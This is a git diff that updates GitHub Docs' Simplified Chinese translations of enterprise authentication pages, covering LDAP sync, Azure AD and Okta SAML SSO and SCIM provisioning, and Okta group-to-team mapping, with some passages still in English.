 {% data reusables.enterprise_site_admin_settings.access-settings %}
@@ -195,13 +193,12 @@ Unless [LDAP Sync is enabled](#enabling-ldap-sync), changes to LDAP accounts are
 {% data reusables.enterprise_site_admin_settings.click-user %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-5. Under "LDAP," click **Sync now** to manually update the account with data from your LDAP server.
-![LDAP sync now button](/assets/images/enterprise/site-admin-settings/ldap-sync-now-button.png)
+5. 在“LDAP”下，单击 **Sync now**，使用您的 LDAP 服务器中的数据手动更新帐户。 ![LDAP Sync now 按钮](/assets/images/enterprise/site-admin-settings/ldap-sync-now-button.png)
 
-You can also [use the API to trigger a manual sync](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#ldap).
+您也可以[使用 API 触发手动同步](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#ldap)。
 
-## Revoking access to {% data variables.product.product_location %}
+## 撤销 {% data variables.product.product_location %} 的权限
 
-If [LDAP Sync is enabled](#enabling-ldap-sync), removing a user's LDAP credentials will suspend their account after the next synchronization run.
+如果[启用 LDAP 同步](#enabling-ldap-sync)，移除用户的 LDAP 凭据将在下一次同步操作后挂起他们的帐户。
 
-If LDAP Sync is **not** enabled, you must manually suspend the {% data variables.product.prodname_ghe_server %} account after you remove the LDAP credentials. For more information, see "[Suspending and unsuspending users](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)".
+如果**未**启用 LDAP 同步，您必须在移除 LDAP 凭据后手动挂起 {% data variables.product.prodname_ghe_server %} 帐户。 更多信息请参阅“[挂起和取消挂起用户](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)”。
diff --git a/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md b/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
index 21fc4b65db..8b4acd953b 100644
--- a/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
+++ b/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring authentication and provisioning for your enterprise using Azure AD
-shortTitle: Configuring with Azure AD
-intro: 'You can use a tenant in Azure Active Directory (Azure AD) as an identity provider (IdP) to centrally manage authentication and user provisioning for {% data variables.product.product_location %}.'
+title: 使用 Azure AD 为企业配置身份验证和预配
+shortTitle: 使用 Azure AD 配置
+intro: '您可以使用 Azure Active Directory (Azure AD) 中的租户作为身份提供程序 (IDP) 来集中管理 {% data variables.product.product_location %} 的身份验证和用户预配。'
 permissions: 'Enterprise owners can configure authentication and provisioning for an enterprise on {% data variables.product.product_name %}.'
 versions:
   ghae: '*'
@@ -15,41 +15,42 @@ topics:
 redirect_from:
   - /admin/authentication/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad
 ---
-## About authentication and user provisioning with Azure AD
 
-Azure Active Directory (Azure AD) is a service from Microsoft that allows you to centrally manage user accounts and access to web applications. For more information, see [What is Azure Active Directory?](https://docs.microsoft.com/azure/active-directory/fundamentals/active-directory-whatis) in the Microsoft Docs.
+## 关于使用 Azure AD 进行身份验证和用户预配
 
-To manage identity and access for {% data variables.product.product_name %}, you can use an Azure AD tenant as a SAML IdP for authentication. You can also configure Azure AD to automatically provision accounts and access membership with SCIM, which allows you to create {% data variables.product.prodname_ghe_managed %} users and manage team and organization membership from your Azure AD tenant.
+Azure Active Directory (Azure AD) 是一项来自 Microsoft 的服务，它允许您集中管理用户帐户和 web 应用程序访问。 更多信息请参阅 Microsoft 文档中的[什么是 Azure Active Directory？](https://docs.microsoft.com/azure/active-directory/fundamentals/active-directory-whatis)。
 
-After you enable SAML SSO and SCIM for {% data variables.product.prodname_ghe_managed %} using Azure AD, you can accomplish the following from your Azure AD tenant.
+要管理身份以及对 {% data variables.product.product_name %} 的访问，您可以使用 Azure AD 租户作为 SAML IdP 进行身份验证。 您也可以配置 Azure AD 自动预配帐户并获取 SCIM 会员资格，这样您可以创建 {% data variables.product.prodname_ghe_managed %} 用户，并从您的 Azure AD 租户管理团队和组织成员资格。
 
-* Assign the {% data variables.product.prodname_ghe_managed %} application on Azure AD to a user account to automatically create and grant access to a corresponding user account on {% data variables.product.product_name %}.
-* Unassign the {% data variables.product.prodname_ghe_managed %} application to a user account on Azure AD to deactivate the corresponding user account on {% data variables.product.product_name %}.
-* Assign the {% data variables.product.prodname_ghe_managed %} application to an IdP group on Azure AD to automatically create and grant access to user accounts on {% data variables.product.product_name %} for all members of the IdP group. In addition, the IdP group is available on {% data variables.product.prodname_ghe_managed %} for connection to a team and its parent organization.
-* Unassign the {% data variables.product.prodname_ghe_managed %} application from an IdP group to deactivate the {% data variables.product.product_name %} user accounts of all IdP users who had access only through that IdP group and remove the users from the parent organization. The IdP group will be disconnected from any teams on {% data variables.product.product_name %}.
+使用 Azure AD 对 {% data variables.product.prodname_ghe_managed %} 启用 SAML SSO 和 SCIM 后，您可以从 Azure AD 租户完成以下任务。
 
-For more information about managing identity and access for your enterprise on {% data variables.product.product_location %}, see "[Managing identity and access for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise)." For more information about synchronizing teams with IdP groups, see "[Synchronizing a team with an identity provider group](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)."
+* 将 Azure AD 上的 {% data variables.product.prodname_ghe_managed %} 应用程序分配给用户帐户，以便在 {% data variables.product.product_name %} 上自动创建并授予对相应用户帐户的访问权限。
+* 为 Azure AD 上的用户帐户取消分配 {% data variables.product.prodname_ghe_managed %} 应用程序，以在 {% data variables.product.product_name %} 上停用相应的用户帐户 。
+* 为 Azure AD 上的 IdP 组分配 {% data variables.product.prodname_ghe_managed %} 应用程序，以为 IdP 组的所有成员授予对 {% data variables.product.product_name %} 上用户帐户的访问权限 。 此外，IdP 组也可以在 {% data variables.product.prodname_ghe_managed %} 上连接到团队及其父组织。
+* 从 IdP 组取消分配 {% data variables.product.prodname_ghe_managed %} 应用程序来停用仅通过 IdP 组访问的所有 IdP 用户的 {% data variables.product.product_name %} 用户帐户，并从父组织中删除这些用户。 IdP 组将与 {% data variables.product.product_name %} 上的任何团队断开连接。
 
-## Prerequisites
+有关在 {% data variables.product.product_location %} 上管理企业的身份和访问权限的详细信息，请参阅“[管理企业的身份和访问权限](/admin/authentication/managing-identity-and-access-for-your-enterprise)”。 有关与 IdP 组同步团队的更多信息，请参阅“[同步团队与身份提供程序组](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)”。
 
-To configure authentication and user provisioning for {% data variables.product.product_name %} using Azure AD, you must have an Azure AD account and tenant. For more information, see the [Azure AD website](https://azure.microsoft.com/free/active-directory) and [Quickstart: Create an Azure Active Directory tenant](https://docs.microsoft.com/azure/active-directory/develop/quickstart-create-new-tenant) in the Microsoft Docs.
+## 基本要求
 
-{% data reusables.saml.assert-the-administrator-attribute %} For more information about including the `administrator` attribute in the SAML claim from Azure AD, see [How to: customize claims issued in the SAML token for enterprise applications](https://docs.microsoft.com/azure/active-directory/develop/active-directory-saml-claims-customization) in the Microsoft Docs.
+要使用 Azure AD 配置 {% data variables.product.product_name %} 的身份验证和用户预配，您必须有 Azure AD 帐户和租户。 更多信息请参阅 [Azure AD 网站](https://azure.microsoft.com/free/active-directory)和 Microsoft 文档中的[快速入门：创建 Azure Active Directory 租户](https://docs.microsoft.com/azure/active-directory/develop/quickstart-create-new-tenant)。
+
+{% data reusables.saml.assert-the-administrator-attribute %} 有关在来自 Azure AD 的 SAML 声明中包含 `administrator` 属性的详细信息， 请参阅 Microsoft 文档中的[如何：为企业应用程序自定义 SAML 令牌中发行的声明](https://docs.microsoft.com/azure/active-directory/develop/active-directory-saml-claims-customization)。
 
 {% data reusables.saml.create-a-machine-user %}
 
-## Configuring authentication and user provisioning with Azure AD
+## 使用 Azure AD 配置身份验证和用户预配
 
 {% ifversion ghae %}
 
-1. In Azure AD, add {% data variables.product.ae_azure_ad_app_link %} to your tenant and configure single sign-on. For more information, see [Tutorial: Azure Active Directory single sign-on (SSO) integration with {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) in the Microsoft Docs.
+1. 在 Azure AD 中，将 {% data variables.product.ae_azure_ad_app_link %} 添加到您的租户并配置单点登录。 更多信息请参阅 Microsoft 文档中的[教程：与 {% data variables.product.prodname_ghe_managed %} 的 Azure Active Directory 单点登录 (SSO) 集成](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial)。
 
-1. In {% data variables.product.prodname_ghe_managed %}, enter the details for your Azure AD tenant.
+1. 在 {% data variables.product.prodname_ghe_managed %} 中，输入 Azure AD 租户的详细信息。
 
     - {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
 
-    - If you've already configured SAML SSO for {% data variables.product.product_location %} using another IdP and you want to use Azure AD instead, you can edit your configuration. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise#editing-the-saml-sso-configuration)."
+    - 如果已为使用其他 IdP 的 {% data variables.product.product_location %} 配置 SAML SSO，并且希望改为使用 Azure AD，您可以编辑配置。 更多信息请参阅“[配置企业的 SAML 单点登录](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise#editing-the-saml-sso-configuration)”。
 
-1. Enable user provisioning in {% data variables.product.product_name %} and configure user provisioning in Azure AD. For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)."
+1. 在 {% data variables.product.product_name %} 中启用用户预配，并在 Azure AD 中配置用户预配。 更多信息请参阅“[配置企业的用户预配](/admin/authentication/configuring-user-provisioning-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)”。
 
 {% endif %}
diff --git a/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md b/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
index fbe74e7c94..fe12c30cbc 100644
--- a/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
+++ b/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
@@ -17,7 +17,7 @@ miniTocMaxHeadingLevel: 3
 
 {% data reusables.saml.okta-ae-sso-beta %}
 
-## About SAML and SCIM with Okta
+## 关于 SAML 和 SCIM 与 Octa
 
 You can use Okta as an Identity Provider (IdP) for {% data variables.product.prodname_ghe_managed %}, which allows your Okta users to sign in to {% data variables.product.prodname_ghe_managed %} using their Okta credentials.
 
@@ -25,14 +25,14 @@ To use Okta as your IdP for {% data variables.product.prodname_ghe_managed %}, y
 
 The following provisioning features are available for all Okta users that you assign to your {% data variables.product.prodname_ghe_managed %} application.
 
-| Feature | Description |
-| --- | --- |
-| Push New Users | When you create a new user in Okta, the user is added to {% data variables.product.prodname_ghe_managed %}. |
-| Push User Deactivation | When you deactivate a user in Okta, it will suspend the user from your enterprise on {% data variables.product.prodname_ghe_managed %}. |
-| Push Profile Updates | When you update a user's profile in Okta, it will update the metadata for the user's membership in your enterprise on {% data variables.product.prodname_ghe_managed %}. |
-| Reactivate Users | When you reactivate a user in Okta, it will unsuspend the user in your enterprise on {% data variables.product.prodname_ghe_managed %}. |
+| 功能       | 描述                                                                                                                                                                         |
+| -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 推送新用户    | When you create a new user in Okta, the user is added to {% data variables.product.prodname_ghe_managed %}.                                                              |
+| 推送用户停用   | When you deactivate a user in Okta, it will suspend the user from your enterprise on {% data variables.product.prodname_ghe_managed %}.                                  |
+| 推送个人资料更新 | When you update a user's profile in Okta, it will update the metadata for the user's membership in your enterprise on {% data variables.product.prodname_ghe_managed %}. |
+| 重新激活用户   | When you reactivate a user in Okta, it will unsuspend the user in your enterprise on {% data variables.product.prodname_ghe_managed %}.                                  |
 
-## Adding the {% data variables.product.prodname_ghe_managed %} application in Okta
+## 在 Okta 中添加 {% data variables.product.prodname_ghe_managed %} 应用程序
 
 {% data reusables.saml.okta-ae-applications-menu %}
 1. Click **Browse App Catalog**
@@ -43,7 +43,7 @@ The following provisioning features are available for all Okta users that you as
 
   !["Search result"](/assets/images/help/saml/okta-ae-search.png)
 
-1. Click **Add**.
+1. 单击 **Add（添加）**。
 
   !["Add GitHub AE app"](/assets/images/help/saml/okta-ae-add-github-ae.png)
 
@@ -51,7 +51,7 @@ The following provisioning features are available for all Okta users that you as
 
   !["Configure Base URL"](/assets/images/help/saml/okta-ae-configure-base-url.png)
 
-1. Click **Done**.
+1. 单击 **Done（完成）**。
 
 ## Enabling SAML SSO for {% data variables.product.prodname_ghe_managed %}
 
@@ -67,8 +67,8 @@ To enable single sign-on (SSO) for {% data variables.product.prodname_ghe_manage
 
   ![Sign On tab](/assets/images/help/saml/okta-ae-view-setup-instructions.png)
 
-1. Take note of the "Sign on URL", "Issuer", and "Public certificate" details. 
-1. Use the details to enable SAML SSO for your enterprise on {% data variables.product.prodname_ghe_managed %}. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+1. Take note of the "Sign on URL", "Issuer", and "Public certificate" details.
+1. Use the details to enable SAML SSO for your enterprise on {% data variables.product.prodname_ghe_managed %}. 更多信息请参阅“[配置企业的 SAML 单点登录](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)”。
 
 {% note %}
 
@@ -84,15 +84,15 @@ The "GitHub AE" app in Okta uses the {% data variables.product.product_name %} A
 {% data reusables.saml.okta-ae-applications-menu %}
 {% data reusables.saml.okta-ae-configure-app %}
 {% data reusables.saml.okta-ae-provisioning-tab %}
-1. Click **Configure API Integration**.
+1. 单击 **Configure API Integration（配置 API 集成）**。
 
-1. Select **Enable API integration**.
+1. 选择 **Enable API integration（启用 API 集成）**。
 
   ![Enable API integration](/assets/images/help/saml/okta-ae-enable-api-integration.png)
 
 1. For "API Token", type the {% data variables.product.prodname_ghe_managed %} personal access token you generated previously.
 
-1. Click **Test API Credentials**. 
+1. Click **Test API Credentials**.
 
 {% note %}
 
@@ -111,11 +111,11 @@ This procedure demonstrates how to configure the SCIM settings for Okta provisio
 
   !["To App" settings](/assets/images/help/saml/okta-ae-to-app-settings.png)
 
-1. To the right of "Provisioning to App", click **Edit**.
-1. To the right of "Create Users", select **Enable**.
-1. To the right of "Update User Attributes", select **Enable**.
-1. To the right of "Deactivate Users", select **Enable**.
-1. Click **Save**.
+1. 在“Provisioning to App（配置到 App）”的右侧，单击 **Edit（编辑）**。
+1. 在“Create Users（创建用户）”的右侧，选择 **Enable（启用）**。
+1. 在“Update User Attributes（更新用户属性）”的右侧，选择 **Enable（启用）**。
+1. 在“Deactivate Users（停用用户）”的右侧，选择 **Enable（启用）**。
+1. 单击 **Save（保存）**。
 
 ## Allowing Okta users and groups to access {% data variables.product.prodname_ghe_managed %}
 
@@ -130,7 +130,7 @@ Before your Okta users can use their credentials to sign in to {% data variables
 
 1. Click **Assignments**.
 
-  ![Assignments tab](/assets/images/help/saml/okta-ae-assignments-tab.png)
+  ![Assignments（分配）选项卡](/assets/images/help/saml/okta-ae-assignments-tab.png)
 
 1. Select the Assign drop-down menu and click **Assign to People**.
 
@@ -144,13 +144,13 @@ Before your Okta users can use their credentials to sign in to {% data variables
 
   ![Role selection](/assets/images/help/saml/okta-ae-assign-role.png)
 
-1. Click **Done**.
+1. 单击 **Done（完成）**。
 
 ### Provisioning access for Okta groups
 
 You can map your Okta group to a team in {% data variables.product.prodname_ghe_managed %}. Members of the Okta group will then automatically become members of the mapped {% data variables.product.prodname_ghe_managed %} team. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
 
-## Further reading
+## 延伸阅读
 
-- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation.
-- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation.
+- Okta 文档中的[了解 SAML](https://developer.okta.com/docs/concepts/saml/).
+- Okta 文档中的[了解 SCIM](https://developer.okta.com/docs/concepts/scim/).
diff --git a/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md b/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md
index 138b2d5323..fa6c2b1fa5 100644
--- a/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md
+++ b/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md
@@ -1,12 +1,12 @@
 ---
-title: Configuring authentication and provisioning with your identity provider
-intro: 'You can configure user authentication and provisioning by integrating with an identity provider (IdP) that supports SAML single sign-on (SSO) and SCIM.'
+title: 使用身份提供程序配置身份验证和预配
+intro: You can configure user authentication and provisioning by integrating with an identity provider (IdP) that supports SAML single sign-on (SSO) and SCIM.
 versions:
   ghae: '*'
 children:
   - /configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad
   - /configuring-authentication-and-provisioning-for-your-enterprise-using-okta
   - /mapping-okta-groups-to-teams
-shortTitle: Use an IdP for SSO & SCIM
+shortTitle: 对 SSO & SCIM 使用 IdP
 ---
 
diff --git a/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md b/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md
index bf03a67c91..e049393a3e 100644
--- a/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md
+++ b/translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md
@@ -19,25 +19,24 @@ topics:
 
 If you use Okta as your IdP, you can map your Okta group to a team in {% data variables.product.prodname_ghe_managed %}. Members of the Okta group will automatically become members of the mapped {% data variables.product.prodname_ghe_managed %} team. To configure this mapping, you can configure the Okta "GitHub AE" app to push the group and its members to {% data variables.product.prodname_ghe_managed %}. You can then choose which team in {% data variables.product.prodname_ghe_managed %} will be mapped to the Okta group.
 
-## Prerequisites
+## 基本要求
 
 You or your Okta administrator must be a Global administrator or a Privileged Role administrator in Okta.
- 
-You must enable SAML single sign-on with Okta. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
 
-You must authenticate to your enterprise account using SAML SSO and Okta. For more information, see "[Authenticating with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on)."
+You must enable SAML single sign-on with Okta. 更多信息请参阅“[配置企业的 SAML 单点登录](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)”。
+
+You must authenticate to your enterprise account using SAML SSO and Okta. 更多信息请参阅“[使用 SAML 单点登录进行身份验证](/github/authenticating-to-github/authenticating-with-saml-single-sign-on)”。
 
 ## Assigning your Okta group to the "GitHub AE" app
 
 1. In the Okta Dashboard, open your group's settings.
-1. Click **Manage Apps**.
-  ![Add group to app](/assets/images/help/saml/okta-ae-group-add-app.png)
+1. Click **Manage Apps**. ![Add group to app](/assets/images/help/saml/okta-ae-group-add-app.png)
 
 1. To the right of "GitHub AE", click **Assign**.
 
   ![Assign app](/assets/images/help/saml/okta-ae-assign-group-to-app.png)
 
-1. Click **Done**.
+1. 单击 **Done（完成）**。
 
 ## Pushing the Okta group to {% data variables.product.prodname_ghe_managed %}
 
@@ -48,7 +47,7 @@ When you push an Okta group and map the group to a team, all of the group's memb
 
 1. Click **Push Groups**.
 
-  ![Push Groups tab](/assets/images/help/saml/okta-ae-push-groups-tab.png)
+  ![Push Groups（推送组）选项卡](/assets/images/help/saml/okta-ae-push-groups-tab.png)
 
 1. Select the Push Groups drop-down menu and click **Find groups by name**.
 
@@ -66,16 +65,14 @@ You can map a team in your enterprise to an Okta group you previously pushed to
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
-6. Under "Identity Provider Group", select the drop-down menu and click an identity provider group.
-    ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png)
-7. Click **Save changes**.
+6. Under "Identity Provider Group", select the drop-down menu and click an identity provider group. ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png)
+7. 单击 **Save changes（保存更改）**。
 
 ## Checking the status of your mapped teams
 
 Enterprise owners can use the site admin dashboard to check how Okta groups are mapped to teams on {% data variables.product.prodname_ghe_managed %}.
 
-1. To access the dashboard, in the upper-right corner of any page, click {% octicon "rocket" aria-label="The rocket ship" %}.
-  ![Rocket ship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
+1. 要访问仪表板，请在任意页面的右上角中单击 {% octicon "rocket" aria-label="The rocket ship" %}。 ![用于访问站点管理员设置的火箭图标](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
 
 1. In the left pane, click **External groups**.
 
@@ -85,7 +82,7 @@ Enterprise owners can use the site admin dashboard to check how Okta groups are
 
   ![List of external groups](/assets/images/help/saml/okta-ae-site-admin-list-groups.png)
 
-1. The group's details includes the name of the Okta group, a list of the Okta users that are members of the group, and the corresponding mapped team on {% data variables.product.prodname_ghe_managed %}. 
+1. The group's details includes the name of the Okta group, a list of the Okta users that are members of the group, and the corresponding mapped team on {% data variables.product.prodname_ghe_managed %}.
 
   ![List of external groups](/assets/images/help/saml/okta-ae-site-admin-group-details.png)
 
diff --git a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md
index 3da45be1af..15094bf0e1 100644
--- a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md
+++ b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: About identity and access management for your enterprise
-shortTitle: About identity and access management
-intro: 'You can use SAML single sign-on (SSO) and System for Cross-domain Identity Management (SCIM) to centrally manage access {% ifversion ghec %}to organizations owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}{% endif %}{% ifversion ghae %}to {% data variables.product.product_location %}{% endif %}.'
+title: 关于企业的身份和访问管理
+shortTitle: 关于身份和访问管理
+intro: '您可以使用 SAML 单点登录 (SSO) 和跨域身份管理系统 (SCIM) 集中管理 {% ifversion ghec %}对企业在 {% data variables.product.prodname_dotcom_the_website %} 上拥有的组织{% endif %}{% ifversion ghae %}对 {% data variables.product.product_location %}{% endif %} 的访问。'
 versions:
   ghec: '*'
   ghae: '*'
@@ -19,47 +19,48 @@ redirect_from:
   - /github/setting-up-and-managing-your-enterprise/about-user-provisioning-for-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/configuring-saml-single-sign-on-and-scim-for-your-enterprise-account-using-okta
 ---
-## About identity and access management for your enterprise
+
+## 关于企业的身份和访问管理
 
 {% ifversion ghec %}
 
-{% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.about-saml-enterprise-accounts %} For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+{% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.about-saml-enterprise-accounts %} 更多信息请参阅“[为企业配置 SAML 单点登录](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)”。
 
-After you enable SAML SSO, depending on the IdP you use, you may be able to enable additional identity and access management features. {% data reusables.scim.enterprise-account-scim %}
+启用 SAML SSO 后，根据使用的 IDP，您可能能够启用额外的身份和访问管理功能。 {% data reusables.scim.enterprise-account-scim %}
 
-If you use Azure AD as your IDP, you can use team synchronization to manage team membership within each organization. {% data reusables.identity-and-permissions.about-team-sync %} For more information, see "[Managing team synchronization for organizations in your enterprise account](/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+如果使用 Azure AD 作为 IDP，您可以使用团队同步来管理每个组织中的团队成员身份。 {% data reusables.identity-and-permissions.about-team-sync %} 更多信息请参阅“[管理企业帐户中组织的团队同步](/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)”。
 
 {% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)."
 
-## About {% data variables.product.prodname_emus %}
+## 关于 {% data variables.product.prodname_emus %}
 
 {% data reusables.enterprise-accounts.emu-short-summary %}
 
-Configuring {% data variables.product.prodname_emus %} for SAML single-sign on and user provisioning involves following a different process than you would for an enterprise that isn't using {% data variables.product.prodname_managed_users %}. If your enterprise uses {% data variables.product.prodname_emus %}, see "[Configuring SAML single sign-on for Enterprise Managed Users](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)."
+为 SAML 单点登录和用户预配配置 {% data variables.product.prodname_emus %} 涉及遵循与不使用 {% data variables.product.prodname_managed_users %} 的企业不同的流程。 如果您的企业使用 {% data variables.product.prodname_emus %}，请参阅“[为企业管理的用户配置 SAML 单点登录](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)”。
 
-## Supported IdPs
+## 支持的 IdP
 
-We test and officially support the following IdPs. For SAML SSO, we offer limited support for all identity providers that implement the SAML 2.0 standard. For more information, see the [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website.
+我们测试并正式支持以下 IdP。 对于 SAML SSO，我们向执行 SAML 2.0 标准的所有身份提供程序提供有限的支持。 更多信息请参阅 OASIS 网站上的 [SAML Wiki](https://wiki.oasis-open.org/security)。
 
-IdP | SAML | Team synchronization | 
---- | :--: | :-------: |
-Active Directory Federation Services (AD FS) | {% octicon "check-circle-fill" aria-label= "The check icon" %}  | |
-Azure Active Directory (Azure AD) | {% octicon "check-circle-fill" aria-label="The check icon" %}  | {% octicon "check-circle-fill" aria-label="The check icon" %} |
-OneLogin | {% octicon "check-circle-fill" aria-label="The check icon" %}  | |
-PingOne | {% octicon "check-circle-fill" aria-label="The check icon" %}  | |
-Shibboleth | {% octicon "check-circle-fill" aria-label="The check icon" %}  | |
+| IdP                                          |                              SAML                              |                             团队同步                              |
+| -------------------------------------------- |:--------------------------------------------------------------:|:-------------------------------------------------------------:|
+| Active Directory Federation Services (AD FS) | {% octicon "check-circle-fill" aria-label= "The check icon" %} |                                                               |
+| Azure Active Directory (Azure AD)            | {% octicon "check-circle-fill" aria-label="The check icon" %}  | {% octicon "check-circle-fill" aria-label="The check icon" %}
+| OneLogin                                     | {% octicon "check-circle-fill" aria-label="The check icon" %}  |                                                               |
+| PingOne                                      | {% octicon "check-circle-fill" aria-label="The check icon" %}  |                                                               |
+| Shibboleth                                   | {% octicon "check-circle-fill" aria-label="The check icon" %}  |                                                               |
 
 {% elsif ghae %}
 
 {% data reusables.saml.ae-uses-saml-sso %} {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
 
-After you configure the application for {% data variables.product.product_name %} on your identity provider (IdP), you can provision access to {% data variables.product.product_location %} by assigning the application to users and groups on your IdP. For more information about SAML SSO for {% data variables.product.product_name %}, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)."
+After you configure the application for {% data variables.product.product_name %} on your identity provider (IdP), you can provision access to {% data variables.product.product_location %} by assigning the application to users and groups on your IdP. 有关用于 {% data variables.product.product_name %} 的 SAML SSO 的详细信息，请参阅“[为企业配置 SAML 单点登录](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)”。
 
-{% data reusables.scim.after-you-configure-saml %} For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+{% data reusables.scim.after-you-configure-saml %} 更多信息请参阅“[配置企业的用户预配](/admin/authentication/configuring-user-provisioning-for-your-enterprise)”。
 
-To learn how to configure both authentication and user provisioning for {% data variables.product.product_location %} with your specific IdP, see "[Configuring authentication and provisioning with your identity provider](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider)."
+要了解如何合适特定 IdP 为 {% data variables.product.product_location %} 配置身份验证和用户预配，请参阅“[使用身份提供程序配置身份验证和预配](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider)”。
 
-## Supported IdPs
+## 支持的 IdP
 
